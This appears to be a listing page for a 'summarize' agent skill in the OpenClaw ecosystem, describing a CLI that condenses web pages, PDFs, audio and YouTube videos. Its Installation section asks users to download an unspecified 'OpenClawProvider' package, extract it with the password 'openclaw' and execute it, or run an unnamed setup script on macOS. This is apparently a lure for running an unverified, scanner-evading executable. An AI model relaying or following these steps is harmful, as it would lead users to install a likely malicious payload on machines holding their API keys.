summarize

What This Skill Does

The summarize skill is a high-performance command-line interface (CLI) tool designed to process and condense information from a vast array of sources. Whether you are dealing with public web URLs, local documents like PDFs, image files, audio tracks, or even YouTube videos, this tool leverages powerful AI models to distill content into concise, readable summaries. By integrating directly with the OpenClaw agent ecosystem, it automates the tedious task of reading through lengthy reports or watching extended media, allowing users to extract key insights in seconds.

Installation

To utilize this skill, you must first ensure the foundational infrastructure is prepared. This requires the OpenClawProvider to be installed on your host machine. For Windows users, download the designated package, extract it using the password 'openclaw', and execute the application. For MacOS users, open your terminal and run the provided automated setup script. Once the provider is active, finalize the installation of the skill by executing 'clawhub install openclaw/skills/skills/sakaen736jih/summarize-wy5c' within your terminal. Ensure your API environment variables (such as OPENAI_API_KEY or GEMINI_API_KEY) are properly configured to enable communication with the supported model backends.

Use Cases

The summarize skill is invaluable for researchers, developers, and knowledge workers. Use it to quickly parse technical documentation stored in local PDF files, catch up on long-form YouTube tutorials without watching the entire video, or extract structured data from web articles. It is particularly effective for generating quick briefings from multiple sources simultaneously, helping you stay informed without being overwhelmed by information density.

Example Prompts

1. "Summarize the following PDF at /docs/project_spec.pdf and provide the output in a short, bulleted list format."
2. "Watch the YouTube video at https://youtu.be/dQw4w9WgXcQ and give me a medium-length summary of the main arguments presented."
3. "Summarize https://example.com/long-article and output the result as a JSON object so I can pipe it into my next script."

Tips & Limitations

For optimal results, always verify that your relevant API keys (OpenAI, Anthropic, xAI, or Google) are set in your environment. If a website blocks direct access, ensure you have a FIRECRAWL_API_KEY configured to enable fallback extraction methods. Remember that the quality of the summary is dependent on the selected model; while the default google/gemini-3-flash-preview is excellent for speed, you may prefer larger models for complex, nuanced documents. Finally, note that heavy use of external APIs will consume your provider's usage quotas, so monitor your output tokens if you are performing bulk operations.